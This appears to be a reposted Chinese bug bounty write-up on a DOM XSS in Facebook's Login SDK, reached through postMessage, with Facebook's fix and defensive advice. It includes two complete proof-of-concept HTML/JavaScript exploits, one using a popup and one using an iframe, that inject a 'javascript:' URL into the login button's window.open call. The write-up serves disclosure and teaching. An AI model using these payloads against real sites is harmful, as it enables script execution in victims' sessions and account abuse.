挖洞经验 | 从postMessage跨域通信中发现的Facebook DOM XSS($20000)
字数 1542 2025-08-15 21:30:59

从postMessage跨域通信中发现DOM XSS漏洞的深入分析与利用

1. postMessage基础

window.postMessage()是实现跨域通信的关键API,它允许不同源的页面脚本相互通信,主要应用场景包括:

  • 页面与生成的弹出窗口之间
  • 页面与嵌入其中的iframe之间

安全注意事项

  • 必须验证消息来源(event.origin)
  • 必须验证消息内容
  • 避免使用通配符*作为目标origin

2. 漏洞背景

postMessage引发的漏洞常被低估,主要原因:

  • 相比其他漏洞类型关注度较低
  • 测试相对简单,无需绕过防火墙
  • 在SameSite属性引入后,XSSI和JSONP漏洞几乎灭绝,使postMessage成为重点

3. 漏洞发现过程

3.1 目标选择

选择Facebook开发者网站(https://developers.facebook.com)作为目标,原因:

  • 包含大量第三方插件
  • 使用iframe进行跨域通信

3.2 关键发现

发现"Facebook Login SDK for JavaScript"创建了一个代理iframe:
v6.0/plugins/login_button.php

该iframe负责:

  1. 跨域通信
  2. 加载"Continue with Facebook"按钮
  3. 接收包含按钮URL链接的初始负载

3.3 漏洞点分析

JavaScript SDK向代理iframe发送的初始负载中:

  • 包含url参数
  • url参数被i变量调用
  • 按钮点击后触发window.open事件:
i.url = i.url.replace(/cbt=\d+/, "cbt=" + a);
a = window.open(i.url, i.id, b("buildPopupFeatureString")(i));

漏洞本质:缺乏对url参数的验证,导致可注入JavaScript代码

4. 漏洞利用技术

4.1 利用条件

  • 可向代理iframe发送恶意消息
  • 用户点击"Continue With Facebook"按钮

4.2 两种利用方法

方法一:弹出窗口通信

<script>
  var opener = window.open(
    "https://www.facebook.com/v6.0/plugins/login_button.php?app_id=APP_ID&auto_logout_link=false&button_type=continue_with&channel=REDIRECT_URL&container_width=734&locale=en_US&sdk=joey&size=large&use_continue_as=true",
    "opener", 
    "scrollbars=no,resizable=no,status=no,location=no,toolbar=no,menubar=no,width=500,height=1"
  );
  
  setTimeout(function(){
    var message = {
      "xdArbiterHandleMessage": true,
      "message": {
        "method": "loginButtonStateInit",
        "params": JSON.stringify({
          'call': {
            'id': '123',
            'url': 'javascript:alert(document.domain);',
            'size': {'width':10,'height':10},
            'dims': {
              'screenX':0,'screenY':23,
              'outerWidth':1680,'outerHeight':971,
              'screenWidth':1680
            }
          }
        })
      },
      "origin": "ORIGIN"
    };
    opener.postMessage(message, '*');
  }, '4000');
</script>

方法二:iframe嵌入通信

<script>
function fbFrameLoaded() {
  var iframeEl = document.getElementById('fbframe');
  var message = {
    "xdArbiterHandleMessage": true,
    "message": {
      "method": "loginButtonStateInit",
      "params": JSON.stringify({
        'call': {
          'id': '123',
          'url': 'javascript:alert(document.domain);',
          'size': {'width':10,'height':10},
          'dims': {
            'screenX':0,'screenY':23,
            'outerWidth':1680,'outerHeight':971,
            'screenWidth':1680
          }
        }
      })
    },
    "origin": "ORIGIN"
  };
  iframeEl.contentWindow.postMessage(message, '*');
};
</script>

<iframe 
  id="fbframe" 
  src="https://www.facebook.com/v6.0/plugins/login_button.php?app_id=APP_ID&auto_logout_link=false&button_type=continue_with&channel=REDIRECT_URL&container_width=734&locale=en_US&sdk=joey&size=large&use_continue_as=true" 
  onload="fbFrameLoaded(this)">
</iframe>

iframe方法可行原因

  • 缺失X-Frame-Options
  • 缺失CSP嵌入策略头frame-ancestors

5. 漏洞影响

  1. 攻击场景

    • 构造恶意页面
    • 诱骗用户点击"Login with Facebook"按钮
    • 在facebook.com域执行任意JavaScript
  2. 潜在危害

    • 窃取用户敏感信息
    • 执行账户操作
    • 一键点击劫持攻击

6. 漏洞修复方案

Facebook采取的修复措施:

  1. 添加facebook.com正则域规则验证
  2. 在JavaScript SDK中实施url参数检查:
d = b("isFacebookURI")(new (g || (g = b("URI")))(c.call.url)), 
j = c.call;
d || (j.url = b("XOAuthErrorController").getURIBuilder()
  .setEnum("error_code", "PLATFORM__INVALID_URL")
  .getURI().toString())

7. 防御建议

7.1 对于开发者

  1. 严格验证origin

    • 始终验证event.origin
    • 避免使用通配符*
  2. 输入验证

    • 对所有通过postMessage接收的数据进行严格验证
    • 特别警惕URL参数
  3. 安全头设置

    • 设置适当的X-Frame-Options
    • 配置CSP策略
  4. 安全编码

    • 避免直接将用户输入传递给window.open等敏感函数
    • 使用白名单验证URL

7.2 对于安全测试人员

  1. 测试工具

    • 开发/使用专门的postMessage测试工具
    • 推荐Chrome插件式跨域测试工具
  2. 测试重点

    • 检查所有postMessage接收端
    • 验证origin检查是否严格
    • 测试消息内容处理逻辑
  3. 关注点

    • iframe通信
    • 弹出窗口通信
    • 第三方插件/SDK集成

8. 参考资源

  1. The pitfalls of postMessage
  2. The mystery of postMessage
  3. MDN postMessage文档

通过深入理解postMessage机制及其安全隐患,开发者和安全研究人员可以更好地防御和发现这类跨域通信中的安全漏洞。

从postMessage跨域通信中发现DOM XSS漏洞的深入分析与利用 1. postMessage基础 window.postMessage() 是实现跨域通信的关键API,它允许不同源的页面脚本相互通信,主要应用场景包括: 页面与生成的弹出窗口之间 页面与嵌入其中的iframe之间 安全注意事项 : 必须验证消息来源( event.origin ) 必须验证消息内容 避免使用通配符 * 作为目标origin 2. 漏洞背景 postMessage引发的漏洞常被低估,主要原因: 相比其他漏洞类型关注度较低 测试相对简单,无需绕过防火墙 在SameSite属性引入后,XSSI和JSONP漏洞几乎灭绝,使postMessage成为重点 3. 漏洞发现过程 3.1 目标选择 选择Facebook开发者网站(https://developers.facebook.com)作为目标,原因: 包含大量第三方插件 使用iframe进行跨域通信 3.2 关键发现 发现"Facebook Login SDK for JavaScript"创建了一个代理iframe: v6.0/plugins/login_button.php 该iframe负责: 跨域通信 加载"Continue with Facebook"按钮 接收包含按钮URL链接的初始负载 3.3 漏洞点分析 JavaScript SDK向代理iframe发送的初始负载中: 包含 url 参数 url 参数被 i 变量调用 按钮点击后触发 window.open 事件: 漏洞本质 :缺乏对 url 参数的验证,导致可注入JavaScript代码 4. 漏洞利用技术 4.1 利用条件 可向代理iframe发送恶意消息 用户点击"Continue With Facebook"按钮 4.2 两种利用方法 方法一:弹出窗口通信 方法二:iframe嵌入通信 iframe方法可行原因 : 缺失 X-Frame-Options 头 缺失CSP嵌入策略头 frame-ancestors 5. 漏洞影响 攻击场景 : 构造恶意页面 诱骗用户点击"Login with Facebook"按钮 在facebook.com域执行任意JavaScript 潜在危害 : 窃取用户敏感信息 执行账户操作 一键点击劫持攻击 6. 漏洞修复方案 Facebook采取的修复措施: 添加facebook.com正则域规则验证 在JavaScript SDK中实施url参数检查: 7. 防御建议 7.1 对于开发者 严格验证origin : 始终验证 event.origin 避免使用通配符 * 输入验证 : 对所有通过postMessage接收的数据进行严格验证 特别警惕URL参数 安全头设置 : 设置适当的 X-Frame-Options 配置CSP策略 安全编码 : 避免直接将用户输入传递给 window.open 等敏感函数 使用白名单验证URL 7.2 对于安全测试人员 测试工具 : 开发/使用专门的postMessage测试工具 推荐Chrome插件式跨域测试工具 测试重点 : 检查所有postMessage接收端 验证origin检查是否严格 测试消息内容处理逻辑 关注点 : iframe通信 弹出窗口通信 第三方插件/SDK集成 8. 参考资源 The pitfalls of postMessage The mystery of postMessage MDN postMessage文档 通过深入理解postMessage机制及其安全隐患,开发者和安全研究人员可以更好地防御和发现这类跨域通信中的安全漏洞。